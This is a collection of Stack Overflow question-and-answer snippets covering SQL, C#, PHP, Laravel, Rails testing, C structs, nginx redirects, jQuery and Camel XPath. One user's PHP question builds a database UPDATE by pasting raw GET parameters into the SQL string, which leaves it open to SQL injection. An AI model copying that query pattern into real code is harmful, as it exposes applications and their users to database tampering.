37956697	0	 <p>You can aggregate (use <code>max</code> or <code>min</code> etc) in the same query.</p> <pre><code>select VisitIDCode ,MAX(CASE WHEN LeftJustifiedLabel = 'Additional Intervention Information' Then ValueText End) As 'Additional Intervention Information' ,MAX(CASE WHEN LeftJustifiedLabel = 'American Cancer Society Comment:' Then ValueText End) As 'American Cancer Society Comment:' ,MAX(CASE WHEN LeftJustifiedLabel = 'Intevention' Then ValueText End) As 'Intevention' From #AssessmentFS group by VisitIDCode </code></pre>
18591764	0	 <pre><code>/// &lt;summary&gt; /// Returns a collapsed visibility when the price is less than or equal to the comparison price. /// &lt;/summary&gt; public class PriceToVisibilityConverter : IValueConverter { private const double comparePrice = 2000; public object Convert(object value, Type targetType, object parameter, System.Globalization.CultureInfo culture) { double price; if (double.TryParse(value.ToString(), out price)) { return price &gt; comparePrice ? Visibility.Visible : Visibility.Collapsed; } return Visibility.Collapsed; } public object ConvertBack(object value, Type targetType, object parameter, System.Globalization.CultureInfo culture) { throw new NotImplementedException(); } } </code></pre> <p>in your app.xaml</p> <pre><code>&lt;Application.Resources &gt; &lt;ResourceDictionary&gt; &lt;converter:PurchaseStatusConverter xmlns:converter="clr-namespace:namespacetoyourtype" x:Key="PurchaseStatusConverter" /&gt; &lt;converter:PriceToVisibilityConverter xmlns:converter="clr-namespace:namespacetoyourtype" x:Key="PriceToVisibilityConverter" /&gt; &lt;ResourceDictionary&gt; &lt;/Application.Resources &gt; </code></pre> <p>In your xaml</p> <pre><code>&lt;TextBlock Name="price" Vis Text="Some text" Visibility="{Binding Price, Converter={StaticResource PriceToVisibilityConverter}}" TextWrapping="Wrap" FontSize="24" /&gt; </code></pre>
25144180	0	 <p>Your issue is with attempting to change your month by adding 1. 1 in date serials in Excel is equal to 1 day. Try changing your month by using the following:</p> <pre><code>NewDate = Format(DateAdd("m",1,StartDate),"dd/mm/yyyy") </code></pre>
28952453	0	 <p>If you are using Laravel 5, you can do it like this (I am not sure if it is the best way)</p> <pre><code>return view("layout/here", [ "content" =&gt; view("dynamic/content/here") ]); </code></pre> <p>then in your view you can do this</p> <pre><code> &lt;?php echo $content; ?&gt; </code></pre> <p>of course, if you are not using blade.</p>
12957040	0	wp_ajax_ actions that use object-oriented action handlers? <p>I'm trying to pass an ajax action to /wp-admin/admin-ajax.php, however I can't seem to get it to call any functions that use a class to encapsulate the namespace. I get the following error:</p> <pre><code>Warning: call_user_func_array() expects parameter 1 to be a valid callback, class 'PHP_faq_backend' not found in /wp-includes/plugin.php </code></pre> <p>My action is as follows:</p> <pre><code>add_action('wp_ajax_edit_form', array('PHP_faq_backend', 'edit_form')); </code></pre> <p>Obviously I don't want to force this by modifying the admin-ajax.php file, but how do I get my classfiles loaded so the action will work?</p>
15754009	0	 <p>Edit: I updated the code to work better.</p> <p>I'm unsure exactly what the issue is but looking at your code I wouldn't be surprised that the negative look behind regex isn't matching multiple word strings where the "keyword" is not the first word after the src or alt. It might possible to beef up the regex, but IMHO a complicated regex might be a little too brittle for your html parsing needs. I'd recommend doing some basic html parsing yourself and doing a simple string replace in the right places.</p> <p>Here's some basic code. There is certainly a much better solution than this, but I'm not going to spend too much time on this. Probably, rather than inserting html in a text node, you should create a new html <code>a</code> element with the right attributes. Then you wouldn't have to decode it. But this would be my basic approach.</p> <p> <pre><code>$text = "Lorem ipsum &lt;img src=\"lorem ipsum\" alt=\"dolor sit amet\" /&gt; dolor sit amet"; $result = array( array('keyword' =&gt; 'lorem', 'link' =&gt; 'http://www.google.com'), array('keyword' =&gt; 'ipsum', 'link' =&gt; 'http://www.bing.com'), array('keyword' =&gt; 'dolor sit', 'link' =&gt; 'http://www.yahoo.com'), ); $doc = new DOMDocument(); $doc-&gt;loadHTML($text); $xpath = new DOMXPath($doc); foreach($result as $row) { if (!empty($row['keyword'])) { $search = $row['keyword']; $replace = '&lt;a href="'.$row['link'].'.html" class="ared"&gt;'.$row['keyword'].'&lt;/a&gt;'; $text_nodes = $xpath-&gt;evaluate('//text()'); foreach($text_nodes as $text_node) { $text_node-&gt;nodeValue = str_ireplace($search, $replace, $text_node-&gt;nodeValue); } } } echo html_entity_decode($doc-&gt;saveHTML()); </code></pre> <p>The <code>$result</code> data structure is meant to be similar to result of your <code>mysql_fetch_array()</code>. I'm only getting the children of the root for the created html DOMDocument. If the <code>$text</code> is more complicated, it should be pretty easy to traverse more thoroughly through the document. I hope this helps you.</p>
7884847	0	 <p>You can pass command line parameters with ClickOnce. You could have one normal link and then one link that contains a command line parameter that you can read in the startup to activte the app after they login (or any action you want).</p>
24884532	0	 <p>I did not realize that the BaseEntity also had a <a href="http://symfony.com/doc/current/reference/constraints/Callback.html" rel="nofollow">callback validator</a>.</p> <pre><code>/** * @ORM\Entity ... * @Assert\Callback(callback="validate") */ abstract class Approval { ... /** * @param ExecutionContextInterface $context */ public function validate(ExecutionContextInterface $context) { // some logic messing with my AssertNotBlank constraints } } </code></pre> <p>I added what I wanted to do with the validation groups there as well. I suppose it should be possible to work with them as well.</p>
5737957	0	Assert that an instance method is called once in the controller <p>I am trying to assert that an instance method is called on a certain controller action once. The test does not work for some reason. The code does indeed do what it is supposed to.</p> <p>I am using Rspec 1.x and factory_girl </p> <p>Test</p> <pre><code>context 'as a regular API user' do before do login_as_regular_user Feed.superfeedr_api.stub!(:pingable?).and_return(true) @feed_entry = Factory(:feed_entry) post :read, :id =&gt; @feed_entry.id, :format =&gt; 'json' end it "should call read_by method once" do @user = Factory.create(:user) controller.stub!(:current_account).and_return(@user.account) @feed_entry.should_receive(:read_by).once post :read, :id =&gt; @feed_entry.id, :format =&gt; 'json' end it { should respond_with(204)} it { should assign_to(:feed_entry).with(@feed_entry) } it { should respond_with_content_type(/json/) } end </code></pre> <p>Controller</p> <pre><code># POST /entries/1234/read - mark as read # DELETE /entries/1234/read - mark as unread def read if request.post? @feed_entry.read_by(current_account) elsif request.delete? @feed_entry.unread_by(current_account) end respond_to do |format| format.html { redirect_to topic_path(params[:topic_id]) } format.json { render :nothing =&gt; :true, :status =&gt; :no_content } format.plist { render :nothing =&gt; :true, :status =&gt; :no_content } end end </code></pre> <p>Error</p> <pre><code>1) Spec::Mocks::MockExpectationError in 'FeedEntriesController.read as a regular API user should call read_by method once' #&lt;FeedEntry:0x107db8758&gt; expected :read_by with (any args) once, but received it 0 times ./spec/controllers/feed_entries_controller_spec.rb:82: Finished in 2.242711 seconds 25 examples, 1 failure, 3 pending </code></pre>
9006017	0	 <p>The problem you face is that you wish to go to the bottom of your page which has not loaded yet. I would consider loading the page in a hidden format then show it when it has all loaded and after scrolling the user at the location you want. Use the focus or scroll to methods.</p> <p>Take a look at the filament group website.</p> <p><a href="http://filamentgroup.com/" rel="nofollow">http://filamentgroup.com/</a> </p> <p>they hide the page with a loading screen until it is ready.</p> <p>This way there is no jerk.</p> <p>Hope this helps.</p>
25803471	0	 <p>This is the same case as with forward declaration of class/struct type:</p> <pre><code>struct node; struct node* node_ptr; /* is valid */ struct node node_instance; /* is invalid */ </code></pre> <p>So <code>struct node;</code> basically says: hey there is a structure defined somewhere outside this file. The type is valid, pointers may be used, but you cannot instantiate the object.</p> <p>This is because the size of the pointer is known and is specific to the target architecture (e.g. 32 or 64-bit). The size of the structure is unknown until declared.</p> <p>When you declare the type completey, then you will be allowed to declare the object of that type:</p> <pre><code>struct node { int a; struct node* b; /* this will work, but the size of struct is unknown yet */ } struct node* node_ptr; /* this works always with full and forward declarations */ struct node node_object; /* now, the size of struct is known, so the instance may be created */ </code></pre>
7949518	0	 <p>Ha, figured it out. The progress bar at 0% width was wrapping the overflow text onto multiple lines. Fix was using <code>white-space: nowrap;</code> on the progress bar text</p>
2234428	0	 <p>In your form, you want PHP to treat your input as an array, so change your HTML like so-> add [] after the name. </p> <pre><code>&lt;input name="price[]" type="checkbox" value="" /&gt; </code></pre> <p>Then in PHP just access the form variable name like you normally would and loop through the values and sum them. </p>
37858254	0	 <p>check with this code </p> <pre><code>override func tableView(tableView: UITableView, numberOfRowsInSection section: Int) -&gt; Int { if(self.courses.count &gt; 0){ tablecount = self.courses.count } else { tablecount = 0 self.table.reloaddata() } return tablecount } </code></pre>
31434699	0	How to use xpath in camel when the outermost element has an xmlns attribute? <p>I am having some trouble using xpath to extract the "Payload" values below using apache-camel. I use the below xpath in my route for both of the example xml, the first example xml returns SomeElement and SomeOtherElement as expected, but the second xml seems unable to parse the xml at all. </p> <pre><code>xpath("//Payload/*") </code></pre> <p>This example xml parses just fine.</p> <pre><code>&lt;Message&gt; &lt;Payload&gt; &lt;SomeElement /&gt; &lt;SomeOtherElement /&gt; &lt;/Payload&gt; &lt;/Message&gt; </code></pre> <p>This example xml does not parse.</p> <pre><code>&lt;Message xmlns="http://www.fake.com/Message/1"&gt; &lt;Payload&gt; &lt;SomeElement /&gt; &lt;SomeOtherElement /&gt; &lt;/Payload&gt; &lt;/Message&gt; </code></pre> <p>I found a similar <a href="http://stackoverflow.com/questions/5856245/how-to-select-xml-root-node-when-root-node-has-attribute">question</a> about xml and xpath, but it deals with C# and is not a camel solution. </p> <p>Any idea how to solve this using apache-camel?</p>
23808539	0	 <p>Re : 'how' is this used - one place we are finding this useful is when dealing with java api mappings where <code>null</code> is commonplace, e.g. on jdbc prepared statements to nullable sql columns. The <code>Option</code>al internal model fields can be mapped:</p> <pre><code>stmt.setDate("field", myModel.myDateField.orNull) </code></pre> <p>Instead of the more verbose:</p> <pre><code>stmt.setDate("field", myModel.myDateField.getOrElse(null)) </code></pre>
15065043	0	 <p>This is quite simple.</p> <ol> <li>Get maximum and minimum values of latitude and longitude.</li> <li>generate random value of longitude (use uniform distribution).</li> <li>generate random value of latitude (you can use uniform distribution or take into account shape of the earth).</li> <li>check if random point is inside of polygon, if not then try again.</li> </ol>
41024130	0	Filter the array with another array containing the names to be filtered from the first array <pre><code>input : ['Ram', 'Shyam' , 'Hari' , 'Gopal' , 'Hawa'] ['Shyam' , 'Hawa'] output: ['Ram' , 'Hari' , 'Gopal'] </code></pre>
27035659	0	view state MAC validation failed <p>I made one web application in asp.net. It works fine but some time it shows the error Validation of view state MAC failed. After refreshing the page all works fine. This error comes at least once in a day. Can any one please help.</p>
38015203	0	 <p>Starting from iOS 10, <strong>it's mandatory to add "NSCameraUsageDescription"</strong> in info.plist which is just an informatory message to the user stating the reason for accessing camera. It will be displayed to the user while trying to access the camera.</p> <p>Though this key is existing since iOS 7, it has been made mandatory in iOS 10 beta. Please refer to below Apple reference link.</p> <p><a href="https://developer.apple.com/library/prerelease/content/documentation/General/Reference/InfoPlistKeyReference/Articles/CocoaKeys.html#//apple_ref/doc/uid/TP40009251-SW15" rel="nofollow">https://developer.apple.com/library/prerelease/content/documentation/General/Reference/InfoPlistKeyReference/Articles/CocoaKeys.html#//apple_ref/doc/uid/TP40009251-SW15</a></p>
27023669	0	 <p>That's not the strict solution to the issue. </p> <p>What's happening is that you have only one server block and it becomes the default server block for all requests, even the ones not matching the server name. You simply need to add a default server block in your configuration :</p> <pre><code>server { listen 80 default_server; } </code></pre> <p>By the way, you have a typo (semicolon before <code>permanent</code>) and you don't need a rewrite as you have specific regular expression. Use this instead :</p> <p><code>return 301 http://www.example.net$request_uri;</code></p>
32940478	0	 <p>First off you are looping through your calculateAverage funtion 4 times. Are you doing this on purpose? I think you should only do this once. </p> <p>Second, in your while loop</p> <pre><code>while (grade &lt;= 100 &amp;&amp; grade != -1) { numberofGrades++; sumofGrades += grade; average = sumofGrades / numberofGrades; } </code></pre> <p>you are infinitely looping. This will loop forever if a value other than -1 is entered. This should be changed to an if statement.</p> <pre><code>if (grade &lt;= 100 &amp;&amp; grade != -1) </code></pre> <p>But there is a better way to write this code (if I am guessing what you actually want it to do)</p> <pre><code>#include &lt;stdio.h&gt; float calculateAverage (int sum, int size); int main(void) { int input; int sum = 0; int count = 0; while (input != -1 &amp;&amp; input &gt;= 0 &amp;&amp; input &lt;= 100) { printf ("Enter a Grade: "); scanf ("%d", &amp;input); if (input != -1) { sum += input; count++; } } float average = calculateAverage(sum, count); return 0; } float calculateAverage (int sum, int count) { // Do your average math here.... } </code></pre>
3121776	0	 <blockquote> <p>I'm willing shut the app down when they try but need to do some things first.</p> </blockquote> <p>Having necessary steps at program shutdown leads to fragile programs that break easily. Even if you could prevent someone from killing your program via the task manager, you cannot stop them from turning off the computer, or even pulling the cable out of the wall. Whatever task that was so vitally important to complete will be lost. And what if there is a power cut? Again your task won't complete and your vital clean up code will not be run.</p> <p>Instead you should make your program robust to failures at any point. Use transactions, and always save state to files atomically - make sure that you always have at least one valid copy of your data. Don't overwrite important files in a way that they become temporarily invalid.</p> <p>Finally, you can add a dialog box to your program that when they try to close it, warns them that the program needs to shut down properly. If you make your shutdown fast users won't want to kill it and will let it terminate properly. If your shutdown takes ages then people will try to kill it. If you are nice to your users, they will be nice to you too.</p> <p>If shutting down fast means that the user will lose some unfinished work then warn them about this and give them the opportunity to wait for the task to finish, but if they really want to quit your program then let them quit.</p>
23201155	0	How to choose specific columns when using depth in serializer <p>I have a model which consists of two <code>ForeignKeys</code>. I am only interested in parsing the content of the <code>ForeignKeys</code>, so i'm using the <code>depth</code> variable, which basically gives me all columns of the tables referenced with the FK. Is there a way to select which columns there should be included?</p> <pre><code>class SomeSerializer(serializers.ModelSerializer): class Meta: model = MyAwesomeModel fields = ('id', 'fk_one','fk_two') depth = 1 </code></pre>
8105280	0	 <h2>Solution</h2> <p>Use <code>min-width</code>.</p> <h3>Sample</h3> <p><a href="http://jsfiddle.net/z4PWU/" rel="nofollow">http://jsfiddle.net/z4PWU/</a></p> <h3>HTML</h3> <pre><code>&lt;!-- Empty floating divs --&gt; &lt;div&gt;&lt;/div&gt; &lt;div&gt;&lt;/div&gt; &lt;div&gt;&lt;/div&gt; &lt;br /&gt; &lt;!-- Non-Empty floating divs --&gt; &lt;div&gt;&amp;nbsp;&lt;/div&gt; &lt;div&gt;&amp;nbsp;&lt;/div&gt; &lt;div&gt;&amp;nbsp;&lt;/div&gt; &lt;br /&gt; &lt;!-- min/max width for floating divs --&gt; &lt;div style="min-width:50px;"&gt;&lt;/div&gt; &lt;div style="min-width:50px;"&gt;&lt;/div&gt; &lt;div style="min-width:50px;"&gt;&lt;/div&gt; </code></pre> <h3>CSS</h3> <pre><code>div { float: left; border: 1px solid blue; height: 15px; /* Make them better visible */ } </code></pre>
9071665	0	 <p>You appear to have an extra <code>DECLARE</code> after your connect statement.</p>
619714	0	 <p>The purpose of handlers in non-MVC projects is to provide some type of encoded response, outside of HTML. Typically, a handler would return XML (rss, RESTful, etc), JSON for jQuery or other Javascript, or sometimes just pure data such as file binary downloads. I've used handlers to even return special javascript to be excuted on the client, as a way of lazy-loading large binary or requirements on a "demand-only" approach. More or less, a handler would be used to return "anything but HTML".</p> <p>In MVC, you would move away from handlers and utilize the Controller to return whatever data you like. So, in the method like:</p> <pre><code>mywebsite.com/restapi/content/56223 </code></pre> <p>You RestfulContentController would have a method for Index(), that would NOT return a View(), but instead pure XML or JSON.</p> <pre><code>public class JSONContentController : Controller { public JsonResult Index(int ContentID) { // get Content() by ContentID // // return a JSON version return Content().SerializeToJSON(); } } </code></pre>
19548077	0	 <p>If you want to test this method, you may <a href="http://stackoverflow.com/a/34586/1851024">consider making it public/protected/package local</a>. Then you'll be able to mock or overload it in a subclass you are to test.</p>
25997467	0	Ajax is not updating data <p>I've got a forum in which user is allowed to edit and delete only his comments, I've defined an "edit" button, that by a click of mouse brings down a modal, and in that modal user is allowed to get access to the data's he/she has been sent before, I've written an ajax to target these field and update them whenever the users clicks on "edit" button, code totally makes sense, but so far the functionality doesn't, to make it more clear, user clicks, modal comes down, whatever he/she has been posted will appear in fields, and there is an "edit" button at the bottom of modal, which is responsible for changing and updating data. here is the modal code : </p> <pre><code> &lt;button id="btn-btnedit" class="btn btn-primary " data-toggle="modal" data-target="#myModal&lt;?php echo $list['id']; ?&gt;"&gt; Edit &lt;i class="fa fa-pencil-square-o"&gt;&lt;/i&gt; &lt;/button&gt; &lt;!-- Modal --&gt; &lt;div class="modal fade" id="myModal&lt;?php echo $list['id']; ?&gt;" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true"&gt; &lt;div class="modal-dialog"&gt; &lt;div class="modal-content"&gt; &lt;div class="modal-header"&gt; &lt;button type="button" class="close" data-dismiss="modal"&gt;&lt;span aria-hidden="true"&gt;&amp;times;&lt;/span&gt;&lt;span class="sr-only"&gt;Close&lt;/span&gt;&lt;/button&gt; &lt;h4 class="modal-title" id="myModalLabel"&gt;Modal title&lt;/h4&gt; &lt;/div&gt; &lt;div class="modal-body"&gt; &lt;div class="container"&gt; &lt;form style="width: 550px;" action="" method="post" id="signin-form&lt;?php echo $list['id']; ?&gt;" role="form"&gt; &lt;input type="hidden" name="commentID" value="&lt;?php echo $list['id']; ?&gt;"&gt; &lt;div class="from-group"&gt; &lt;label for="title"&gt;Title: &lt;/label&gt; &lt;input class="form-control" type="text" name="title" id="txttitle" value="&lt;?php echo $list['title']; ?&gt;" placeholder="Page Title"&gt; &lt;/div&gt; &lt;div class="from-group"&gt; &lt;label for="label"&gt;Label: &lt;/label&gt; &lt;input class="form-control" type="text" name="label" id="txtlabel" value="&lt;?php echo $list['label']; ?&gt;" placeholder="Page Label"&gt; &lt;/div&gt; &lt;br&gt; &lt;div class="from-group"&gt; &lt;label for="body"&gt;Body: &lt;/label&gt; &lt;textarea class="form-control editor" name="body" id="txtbody" row="8" placeholder="Page Body"&gt;&lt;?php echo $list['body']; ?&gt;&lt;/textarea&gt; &lt;/div&gt; &lt;br&gt; &lt;input type="hidden" name="editted" value="1"&gt; &lt;br&gt; &lt;br&gt; &lt;input type="submit" id="btnupdate" value="Edit"&gt; &lt;/form&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>as you can see I've assigned "editted" to my "name" attribute, which is later on used to call the query in the database, sql code is as below : </p> <pre><code> case 'postupdate'; if(isset($_GET['editted'])){ $title = $_GET['title']; $label = $_GET['label']; $body = $_GET['body']; $action = 'Updated'; $q = "UPDATE posts SET title ='".$title."', label = '".$label."', body = '".$body."' WHERE id = ".$_GET['commentID']; $r = mysqli_query($dbc, $q); $message = '&lt;p class="alert alert-success"&gt; Your Post Is Succesfully '.$action.'&lt;/p&gt;' ; } </code></pre> <p>and here is the ajax code snippet; </p> <pre><code> $('#btnupdate').click(function() { var tempTitle = $('#txttitle').val(); var tempLabel = $('#txtlabel').val(); var tempBody = $('#txtbody').val(); var tempUrl = "index.php?page=postupdate"+"&amp;title="+tempTitle+"&amp;label="+tempLabel+"&amp;body="+tempBody+"&amp;commentID=30&amp;editted=1"; $.get(tempUrl); }); </code></pre> <p>I assume there is nothing advance about this segment of code, and i'm missing something very simple, any consideration is highly appreciated :)</p>
13226987	0	 <p>You need to explicitly define getter/setter in your interface. In our case (without changing structure and idea):</p> <pre><code>trait Node { def next: Node def next_=(node: Node) } // `var next: Node` generates implementations for `def next: Node` and `def next_=(node: Node)` case class SpecificNode(var next: Node) extends Node object NullNode extends Node { def next = throw new Exception("no more node") def next_=(node: Node) { throw new Exception("can't change next on null node") } } val n1 = SpecificNode(NullNode) val n2 = SpecificNode(SpecificNode(NullNode)) val n3: Node = SpecificNode(n1) // some function to test our structure: def length(n: Node, prev: Int = 0): Int = if (n == NullNode) prev else length(n.next, prev + 1) println(length(n3)) n3.next = n2 println(length(n3)) </code></pre> <p>Side note: this is mutable linked list, I suggest you to check how immutable list implemented in standard scala library</p>
29704404	0	 <p>Maybe you need:</p> <pre><code>$.ajax({ url: "test.html", error: function(){ // will fire when timeout is reached }, success: function(){ //do something }, timeout: 3000 // sets timeout to 3 seconds }); </code></pre> <p>[READ] <a href="http://api.jquery.com/jQuery.ajax/" rel="nofollow">http://api.jquery.com/jQuery.ajax/</a></p> <p>You can specify the timeout as a property.</p>
15252203	0	can I check my cookies to decide what page to load in RegisterRoutes <p>I want to read the cookie to see if they have been to the site before and then decide where they should go at that point.</p> <p>If not cookie, then load default page.</p> <p>Would I handle this in the RegisterRoutes?</p> <p>Here is what I currently have:</p> <pre><code> public class MvcApplication : HttpApplication { public static void RegisterGlobalFilters(GlobalFilterCollection filters) { //filters.Add(new HandleErrorAttribute()); } public static void RegisterRoutes(RouteCollection routes) { routes.IgnoreRoute("{resource}.axd/{*pathInfo}"); routes.MapRoute( "Default", // Route name "{controller}/{action}/{id}", // URL with parameters new { controller = "Account", action = "Logon", id = UrlParameter.Optional } ); } protected void Application_Start() { AreaRegistration.RegisterAllAreas(); RegisterGlobalFilters(GlobalFilters.Filters); RegisterRoutes(RouteTable.Routes); } } </code></pre> <p>Do I change the RegisterRoutes to decided where to go from here or would I do this elsewhere?</p>
16857018	0	 <p>You can use php libraries tcpdf or dompdf for your need. Both will work fine for your need. <strong>TCPDF</strong> is better than <strong>dompdf</strong> for using <code>DIV</code></p>
2809934	0	 <p>As they always say, have a look at the MMAPI docs. forum Nokia has good examples of this for the MMAPI. </p> <p>But first you can check your code by adding: </p> <pre><code>p.realize(); p.prefetch(); </code></pre> <p>To pause / stop the player call <code>p.stop()</code>. </p> <p>To get the current position call <code>p.getMediaTime();</code> To get the full duration of the file call <code>p.getDuration();</code></p> <p>From those you can calculate the progress. </p> <p>To control volume: </p> <pre><code>import javax.microedition.media.Player; import javax.microedition.media.Manager; import javax.microedition.media.*; import javax.microedition.media.control.VolumeControl; private VolumeControl vc; public void changeVolume(int diff) { VolumeControl vc; if ( p != null) { vc = (VolumeControl) p.getControl("VolumeControl"); if (vc != null) { int cv = vc.getLevel(); cv += diff; cv = vc.setLevel(cv); } } } </code></pre> <p>Define your player class to implement runnable, and control it in its own thread. </p> <p>Have a look at: <a href="http://www.java-tips.org/java-me-tips/midp/" rel="nofollow noreferrer">http://www.java-tips.org/java-me-tips/midp/</a></p> <p>Hope this helps.</p>
706160	0	 <p>In your code $row is a an object (you've used mysql_fetch_object), and the .= operator tries to build a string, concatenating $liResult and $row. I believe this behaviour only works if your object implements a <a href="http://uk3.php.net/manual/en/language.oop5.magic.php#language.oop5.magic.tostring" rel="nofollow noreferrer">toString method</a></p> <p>You could return an array of rows using this code:</p> <pre><code>public function fetchObject($psClassname ="",$paParams =array()){ $lrResource = $this-&gt;mrQueryResource; $liResult = array(); while($row = mysql_fetch_object($lrResource,$psClassname,$paParams)){ $liResult[] = $row; } return $liResult; } </code></pre>
40805460	0	javascript - onclick() requires two clicks to trigger event <p>My problem is that when <code>onclick()</code> is triggered the first time, nothing happens, but when it is clicked a second time, the code is executed.</p> <p>The <code>onclick()</code> should turn the <code>&lt;div&gt;</code> into a png image file and save it to the computer.</p> <p>HTML (the TableDay function refers to a function I wrote which basically makes it easier to create the table):</p> <pre><code>&lt;div id="TableDiv"&gt; &lt;table id="Table"&gt; &lt;tr&gt; &lt;th&gt;Dag\Uur&lt;/th&gt;&lt;th&gt;1&lt;/th&gt;&lt;th&gt;2&lt;/th&gt;&lt;th&gt;3&lt;/th&gt;&lt;th&gt;4&lt;/th&gt;&lt;th&gt;5&lt;/th&gt;&lt;th&gt;6&lt;/th&gt;&lt;th&gt;7&lt;/th&gt;&lt;th&gt;8&lt;/th&gt;&lt;th&gt;9&lt;/th&gt; &lt;/tr&gt; &lt;?php TableDay("Maandag",1); TableDay("Dinsdag",10); TableDay("Woensdag",19); TableDay("Donderdag",28); TableDay("Vrijdag",37); ?&gt; &lt;/table&gt; &lt;/div&gt; &lt;a id="Image" href="##" onclick="printTable()"&gt;Download&lt;/a&gt; </code></pre> <p>(Text is Dutch)</p> <p>The <code>onclick="printTable()"</code> refers to the following Javascript code:</p> <pre><code>&lt;script&gt; var element = $("#TableDiv"); // global variable var getCanvas; // global variable function printTable() { html2canvas(element, { onrendered: function (canvas) { getCanvas = canvas; }}); var imgageData = getCanvas.toDataURL("image/png"); // Now browser starts downloading it instead of just showing it var newData = imgageData.replace(/^data:image\/png/, "data:application/octet-stream"); $("#Image").attr("download", "Rooster.png").attr("href", newData); } &lt;/script&gt; </code></pre> <p>What is happening exactly and how can I make it so that the <code>&lt;a&gt;</code> reference in the html code only needs to be clicked once?</p>
20910991	0	 <p>In HTML GridView render as table , better you can use Jquery to add the values ,</p> <pre><code>var total=0; $('#gridview1').find('tr td').each(function(i, td){ var data= parseInt( $(td).val()); total+=data; }); </code></pre>
3433282	0	How is Java's for loop code generated by the compiler <p>How is Java's for loop code generated by the compiler?</p> <p>For example, if I have:</p> <pre><code>for(String s : getStringArray() ) { //do something with s } </code></pre> <p>where <code>getStringArray()</code> is a function that returns the Array I want to loop on, would function be called always or only once? How optimal is the code for looping using this construct in general?</p>
14182437	0	 <p>While inserting a contact into RAW Contact table, provide A AccountType and accountName.</p> <pre><code> final ContentProviderOperation.Builder newContact = ContentProviderOperation .newInsert(RawContacts.CONTENT_URI); newContact.withValue(RawContacts.ACCOUNT_TYPE, rawContact.accountType); newContact.withValue(RawContacts.ACCOUNT_NAME, rawContact.accountName); newContact.withValue(RawContacts.AGGREGATION_MODE, RawContacts.AGGREGATION_MODE_DISABLED); </code></pre>
24905558	0	 <p>If you use Smarty you shouldn't do such thing at all. What's the point of using Smarty and putting HTML code into PHP? There is none.</p> <p>You should use <code>fetch()</code> instead</p> <p>You can do:</p> <pre><code>function test($smarty){ return $smarty-&gt;fetch('testtemplate.tpl'); } $smarty-&gt;assign('mycode', test($smarty)); </code></pre> <p>And in <code>testtemplate.tpl</code> you can simply put:</p> <pre><code>&lt;div style="font-size:13px;font-family:Arial"&gt; &lt;a href='google.com'&gt;sasa&lt;/a&gt; &lt;/div&gt; </code></pre> <p>In Smarty you have 2 methods:</p> <p><code>display()</code> - for displaying template</p> <p><code>fetch()</code> - to fetch template into string and then do anything you want with it</p>
35680347	0	 <p>The standard Javascript way is to pass an "options" object like</p> <pre><code>info({spacing:15, width:46}); </code></pre> <p>used in the code with</p> <pre><code>function info(options) { var spacing = options.spacing || 0; var width = options.width || "50%"; ... } </code></pre> <p>as missing keys in objects return <code>undefined</code> that is "falsy".</p> <p>Note that passing values that are "falsy" can be problematic with this kind of code... so if this is needed you have to write more sophisticated code like</p> <pre><code>var width = options.hasOwnProperty("width") ? options.width : "50%"; </code></pre> <p>or</p> <pre><code>var width = "width" in options ? options.width : "50%"; </code></pre> <p>depending on if you want to support inherited options or not.</p> <p>Pay also attention that every object in Javascript inherits a <code>constructor</code> property, so don't name an option that way.</p>
14681174	0	 <p>From Javascript you shouldcatch the event <code>window.onbeforeunload</code></p>
5233366	0	 <p>A couple ideas:</p> <ol> <li><p>Sometimes this can happen if there are oddities with your system clock or modified dates on the files. Try resetting the modified date. Maybe the easiest way is by zipping up the project, then extracting over top. Also of course delete your <code>.suo</code> and <code>.ncb</code> files.</p></li> <li><p>Make sure the <code>.h</code> file is IN the project tree. If it's <code>#include</code>d, but not specifically in the project tree, I don't believe VS will recognize changes always.</p></li> </ol>
34670145	0	Generating an edge list from ID and grouping vectors <p>I have a data frame of 205,000+ rows formatted as follows:</p> <pre><code>df &lt;- data.frame(project.id = c('SP001', 'SP001', 'SP001', 'SP017', 'SP018', 'SP017'), supplier.id = c('1224', '5542', '7741', '1224', '2020', '9122')) </code></pre> <p>In the actual data frame there are 6700+ unique values of <code>project.id</code>. I would like to create an edge list that pairs suppliers who have worked on the same project.</p> <p>Desired end result for <code>project.id = SP001</code>:</p> <pre><code>to from 1224 5542 1224 7741 5542 7741 </code></pre> <p>So far I've tried using <code>split</code> to create a list by project.id and then running <code>lapply+combn</code> to generate all possible combinations of <code>supplier.id</code> within each list/group:</p> <pre><code>try.list &lt;- split(df, df$project.id) try.output &lt;- lapply(try.list, function(x) combn(x$supplier.id, 2)) </code></pre> <p>Is there a more elegant/efficient (read "computed in less than 2hrs") way to generate something like this?</p> <p>Any help would be much appreciated</p>
13470391	0	Need assistance regarding objective-c and opps concept <p>Currently I am working on messaging app, which send text messages, image and audio files.</p> <p>Files get uploaded on http server, for downloading and uploading I am using NSURLConnection. </p> <p>When user tap download button I extract out the cell of table view and add progressview as a subview like this</p> <p><strong>In header file</strong></p> <pre><code>@property (strong, nonatomic) UIProgressView *progress; </code></pre> <p><strong>In Class File my download method</strong></p> <pre><code>progress = [[UIProgressView alloc]initWithProgressViewStyle:UIProgressViewStyleBar]; progress.trackTintColor = [UIColor grayColor]; progress.frame = CGRectMake(10, 50, 160, 30); progress.progress = 0.0; [cell addSubview:progress]; </code></pre> <p><strong>When data is received this NSURLConenction delegate method get called</strong></p> <pre><code>-(void)connection:(NSURLConnection *)connection didReceiveData:(NSData *)data { if(imgUpload) { NSLog(@"UPLOAD"); } else { [self.resourceData appendData:data]; NSNumber *resourceLength = [NSNumber numberWithUnsignedInteger:[self.resourceData length]]; [self.progress setProgress:[resourceLength floatValue] / [self.filesize floatValue] animated:YES]; } } </code></pre> <p>If there are more then one file and every time user tap on the download button this whole code will execute and progressview will be added to that cell, but all are referred through <strong>progress</strong> variable. <strong>How every individual progressview is identified uniquely</strong>. If I try to download three files all progressview indicate there own progress and works fine.</p> <p>Please clear this concept.</p> <p><strong>Yes under the hood data is messing up, I tried to download audio and image file together but ended up with corrupt files.</strong></p> <p><strong>Please provide a example how to solve this issue.</strong></p>
39164377	0	 <p>Change the following line:</p> <pre><code>return view('welcome')-&gt;withRestaurants($restaurants); // there is nothing like withRestaurants in laravel </code></pre> <p>to </p> <pre><code>return view('welcome', array('restaurants' =&gt; $restaurants)); </code></pre> <p>and try again.</p>
